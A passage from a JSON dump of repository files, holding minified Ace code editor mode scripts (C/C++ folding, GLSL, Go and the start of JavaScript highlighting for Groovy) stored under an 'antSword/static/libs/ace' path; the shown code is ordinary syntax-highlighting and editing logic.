RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/c_cpp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/c_cpp_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./c_cpp_highlight_rules\").c_cppHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/c_cpp\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/glsl_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/c_cpp_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./c_cpp_highlight_rules\").c_cppHighlightRules,s=function(){var e=\"attribute|const|uniform|varying|break|continue|do|for|while|if|else|in|out|inout|float|int|void|bool|true|false|lowp|mediump|highp|precision|invariant|discard|return|mat2|mat3|mat4|vec2|vec3|vec4|ivec2|ivec3|ivec4|bvec2|bvec3|bvec4|sampler2D|samplerCube|struct\",t=\"radians|degrees|sin|cos|tan|asin|acos|atan|pow|exp|log|exp2|log2|sqrt|inversesqrt|abs|sign|floor|ceil|fract|mod|min|max|clamp|mix|step|smoothstep|length|distance|dot|cross|normalize|faceforward|reflect|refract|matrixCompMult|lessThan|lessThanEqual|greaterThan|greaterThanEqual|equal|notEqual|any|all|not|dFdx|dFdy|fwidth|texture2D|texture2DProj|texture2DLod|texture2DProjLod|textureCube|textureCubeLod|gl_MaxVertexAttribs|gl_MaxVertexUniformVectors|gl_MaxVaryingVectors|gl_MaxVertexTextureImageUnits|gl_MaxCombinedTextureImageUnits|gl_MaxTextureImageUnits|gl_MaxFragmentUniformVectors|gl_MaxDrawBuffers|gl_DepthRangeParameters|gl_DepthRange|gl_Position|gl_PointSize|gl_FragCoord|gl_FrontFacing|gl_PointCoord|gl_FragColor|gl_FragData\",n=this.createKeywordMapper({\"variable.language\":\"this\",keyword:e,\"constant.language\":t},\"identifier\");this.$rules=(new i).$rules,this.$rules.start.forEach(function(e){typeof e.token==\"function\"&&(e.token=n)})};r.inherits(s,i),t.glslHighlightRules=s}),ace.define(\"ace/mode/glsl\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/c_cpp\",\"ace/mode/glsl_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./c_cpp\").Mode,s=e(\"./glsl_highlight_rules\").glslHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.$id=\"ace/mode/glsl\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "antSword/static/libs/ace/mode-golang.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/golang_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"else|break|case|return|goto|if|const|select|continue|struct|default|switch|for|range|func|import|package|chan|defer|fallthrough|go|interface|map|range|select|type|var\",t=\"string|uint8|uint16|uint32|uint64|int8|int16|int32|int64|float32|float64|complex64|complex128|byte|rune|uint|int|uintptr|bool|error\",n=\"make|close|new|panic|recover\",r=\"nil|true|false|iota\",s=this.createKeywordMapper({keyword:e,\"constant.language\":r,\"support.function\":n,\"support.type\":t},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"[`](?:[^`]*)[`]\"},{token:\"string\",merge:!0,regex:\"[`](?:[^`]*)$\",next:\"bqstring\"},{token:\"constant.numeric\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:s,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],bqstring:[{token:\"string\",regex:\"(?:[^`]*)`\",next:\"start\"},{token:\"string\",regex:\".+\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(o,s),t.GolangHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/golang\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/golang_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./golang_highlight_rules\").GolangHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.foldingRules=new a};r.inherits(f,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/golang\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-groovy.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(